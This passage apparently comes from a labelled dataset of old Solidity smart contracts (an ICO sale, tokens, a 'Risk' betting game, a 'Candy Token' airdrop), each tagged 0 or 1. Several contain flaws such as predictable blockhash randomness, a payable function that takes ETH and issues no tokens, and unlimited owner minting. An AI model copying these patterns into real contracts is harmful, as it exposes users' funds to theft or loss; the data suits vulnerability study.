token.unlock(addresses[i]);
if (gasleft() < 70000) {
index = i + 1;
return;
}
}
index = 0;
}
function extendPeriodPreICO(uint256 _days) external onlyOwner {
periodIco = periodPreIco.add(_days.mul(1 days));
}
function extendPeriodICO(uint256 _days) external onlyOwner {
periodIco = periodIco.add(_days.mul(1 days));
}
function() external payable {
buyTokens();
}
function buyTokens() public payable {
require(block.timestamp > startIco && block.timestamp < startIco.add(periodIco));
if (indCap > 0) {
require(msg.value <= indCap.mul(1 ether));
}
uint256 totalAmount = msg.value.mul(10**8).div(rate).add(msg.value.mul(10**8).mul(getBonuses()).div(100).div(rate));
uint256 balance = token.allowance(tokenHolder, address(this));
require(balance > 0);
if (totalAmount > balance) {
uint256 cash = balance.mul(rate).mul(100).div(100 + getBonuses()).div(10**8);
uint256 cashBack = msg.value.sub(cash);
totalAmount = balance;
msg.sender.transfer(cashBack);
}
multisig.transfer(msg.value + cash);
token.transferFrom(tokenHolder, msg.sender, totalAmount);
if (tokens[msg.sender] == 0) {
addresses.push(msg.sender);
}
tokens[msg.sender] = tokens[msg.sender].add(totalAmount);
_lock(msg.sender, tokens[msg.sender], startIco.add(periodIco).sub(block.timestamp));
emit Purchased(msg.sender, totalAmount);
}
function getBonuses() internal view returns(uint256) {
if (block.timestamp < startIco.add(periodPreIco)) {
return 20;
} else {
return 0;
}
}
function getIndCapInETH() public view returns(uint) {
return indCap;
}
function getPriceETH() public view returns(uint) {
return priceETH;
}
function tokenBalanceOf(address _address) external view returns(uint256) {
return token.balanceOf(_address);
}
} | 0 | 1,132 |
pragma solidity ^0.4.23;
contract PHC {
mapping (address => uint256) private balances;
mapping (address => uint256[2]) private lockedBalances;
string public name;
uint8 public decimals;
string public symbol;
uint256 public totalSupply;
address public owner;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
constructor(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
address _owner
) public {
balances[_owner] = _initialAmount;
totalSupply = _initialAmount;
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
owner = _owner;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
if(_to != address(0)){
if(lockedBalances[msg.sender][1] >= now) {
require((balances[msg.sender] > lockedBalances[msg.sender][0]) &&
(balances[msg.sender] - lockedBalances[msg.sender][0] >= _value));
} else {
require(balances[msg.sender] >= _value);
}
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
}
function burnFrom(address _who,uint256 _value)public returns (bool){
require(msg.sender == owner);
assert(balances[_who] >= _value);
totalSupply -= _value;
balances[_who] -= _value;
lockedBalances[_who][0] = 0;
lockedBalances[_who][1] = 0;
return true;
}
function makeCoin(uint256 _value)public returns (bool){
require(msg.sender == owner);
totalSupply += _value;
balances[owner] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function withdraw() public{
require(msg.sender == owner);
msg.sender.transfer(address(this).balance);
}
function withdrawTo(address _to) public{
require(msg.sender == owner);
address(_to).transfer(address(this).balance);
}
} | 1 | 3,212 |
pragma solidity ^0.4.24;
contract OuterWithEth {
Inner1WithEth public myInner1 = new Inner1WithEth();
function callSomeFunctionViaOuter() public payable {
myInner1.callSomeFunctionViaInner1.value(msg.value)();
}
}
contract Inner1WithEth {
Inner2WithEth public myInner2 = new Inner2WithEth();
function callSomeFunctionViaInner1() public payable{
myInner2.doSomething.value(msg.value)();
}
}
contract Inner2WithEth {
uint256 someValue;
event SetValue(uint256 val);
function doSomething() public payable {
someValue = block.timestamp;
emit SetValue(someValue);
msg.sender.transfer(msg.value);
}
} | 1 | 2,123 |
pragma solidity ^0.4.11;
contract LockYourLove {
struct LoveItem {
address lovers_address;
uint block_number;
uint block_timestamp;
string love_message;
string love_url;
}
address public owner;
mapping (bytes32 => LoveItem) private mapLoveItems;
uint public price;
uint public numLoveItems;
event EvLoveItemAdded(bytes32 indexed _loveHash,
address indexed _loversAddress,
uint _blockNumber,
uint _blockTimestamp,
string _loveMessage,
string _loveUrl);
event EvNewPrice(uint blocknumber, uint newprice);
modifier onlyOwner()
{
require(msg.sender == owner);
_;
}
function LockYourLove () {
owner = msg.sender;
price = 10000000000000000;
numLoveItems = 0;
}
function() payable {
msg.sender.transfer(msg.value);
}
function donateToLovers(bytes32 loveHash) payable returns (bool) {
require(msg.value > 0);
require(mapLoveItems[loveHash].lovers_address > 0);
mapLoveItems[loveHash].lovers_address.transfer(msg.value);
}
function setPrice (uint newprice) onlyOwner {
price = newprice;
EvNewPrice(block.number, price);
}
function getPrice() constant returns (uint){
return price;
}
function getNumLoveItems() constant returns (uint){
return numLoveItems;
}
function addLovers(bytes32 love_hash, string lovemsg, string loveurl) payable {
require(bytes(lovemsg).length < 250);
require(bytes(loveurl).length < 100);
require(msg.value >= price);
mapLoveItems[love_hash] = LoveItem(msg.sender, block.number, block.timestamp, lovemsg, loveurl);
numLoveItems++;
owner.transfer(price);
EvLoveItemAdded(love_hash, msg.sender, block.number, block.timestamp, lovemsg, loveurl);
}
function getLovers(bytes32 love_hash) constant returns (address, uint, uint, string, string){
require(mapLoveItems[love_hash].block_number > 0);
return (mapLoveItems[love_hash].lovers_address, mapLoveItems[love_hash].block_number, mapLoveItems[love_hash].block_timestamp,
mapLoveItems[love_hash].love_message, mapLoveItems[love_hash].love_url);
}
function destroy() onlyOwner {
selfdestruct(owner);
}
} | 0 | 210 |
pragma solidity ^0.4.11;
contract Risk
{
address owner;
mapping (address => uint8 []) playerCountries;
address[178] ownerofCountry;
address[] playerList;
uint256 totalmoney=0;
uint256 lastR=3;
address lastgameendWinner=address(0);
uint8 winnerLimit=20;
address[10] winnerloser;
function Risk()
{
owner = msg.sender;
}
function buyCountry(uint8 countryID) payable returns(bool)
{
assert(ownerofCountry[countryID]==0);
assert(msg.value == 10 finney);
totalmoney +=msg.value;
playerCountries[msg.sender].push(countryID);
ownerofCountry[countryID]=msg.sender;
playerList.push(msg.sender);
return true;
}
function attackCountry(uint8 countryID)
{
assert(playerCountries[msg.sender].length!=0);
assert(ownerofCountry[countryID]!=address(0));
assert(msg.sender!=ownerofCountry[countryID]);
address attacker = msg.sender;
address defender = ownerofCountry[countryID];
uint a=playerCountries[attacker].length;
uint b=playerCountries[defender].length;
for(uint256 i=9;i>=6;i--)
winnerloser[i]=winnerloser[i-1];
for(i=4;i>=1;i--)
winnerloser[i]=winnerloser[i-1];
uint256 loopcount=0;
lastR=uint256(block.blockhash(block.number-1))%(a+b);
if(lastR<a)
{
loopcount=playerCountries[defender].length;
for (i=0;i<loopcount;i++)
{
playerCountries[attacker].push(playerCountries[defender][i]);
ownerofCountry[playerCountries[defender][i]]=attacker;
}
playerCountries[defender].length=0;
winnerloser[0]=attacker;
winnerloser[5]=defender;
}
else
{
loopcount=playerCountries[attacker].length;
for (i=0;i<loopcount;i++)
{
playerCountries[defender].push(playerCountries[attacker][i]);
ownerofCountry[playerCountries[attacker][i]]=defender;
}
playerCountries[attacker].length=0;
winnerloser[0]=defender;
winnerloser[5]=attacker;
}
isGameEnd();
}
function isGameEnd()
{
uint256 loopcount=playerList.length;
address winner=owner;
bool del=false;
for (uint8 i=0; i<loopcount;i++)
{
if(playerCountries[playerList[i]].length>=winnerLimit)
{
winner=playerList[i];
del=true;
break;
}
}
if(del)
{
winner.transfer(totalmoney/10*9);
owner.transfer(totalmoney/10);
totalmoney=0;
lastgameendWinner=winner;
for (i=0;i<178;i++)
{
playerCountries[ownerofCountry[i]].length=0;
ownerofCountry[i]=0;
}
playerList.length=0;
for(i=0;i<10;i++)
winnerloser[i]=address(0);
}
}
function setwinnerLimit (uint8 x)
{
assert(msg.sender==owner);
winnerLimit=x;
}
function getCountryOwnershipList() constant returns (address[178])
{
return ownerofCountry;
}
function getTotalBet()constant returns (uint256)
{
return totalmoney;
}
function getaddr(address ax, uint8 bx) constant returns(address)
{
return playerCountries[ax][bx];
}
function len(address ax) constant returns(uint)
{
return playerCountries[ax].length;
}
function lastrandom() constant returns(uint256)
{
return lastR;
}
function getwinnerloser() constant returns(address[10])
{
return winnerloser;
}
function lastgamewinner() constant returns(address)
{
return lastgameendWinner;
}
} | 1 | 3,351 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract AltcoinToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract iConsortCandyToken is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public constant name = "iconsortsolutions.com Candy Token";
string public constant symbol = "iconsortsolutions.com";
uint public constant decimals = 0;
uint256 public totalSupply = 4000000000;
uint256 public totalDistributed = 0;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function iConsortCandyToken () public {
owner = msg.sender;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function doAirdrop(address _participant, uint _amount) internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner {
for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
require( msg.value > 0 );
address investor = msg.sender;
if (tokens > 0) {
distr(investor, tokens);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
AltcoinToken t = AltcoinToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAltcoinTokens(address _tokenContract) onlyOwner public returns (bool) {
AltcoinToken token = AltcoinToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 1 | 2,216 |
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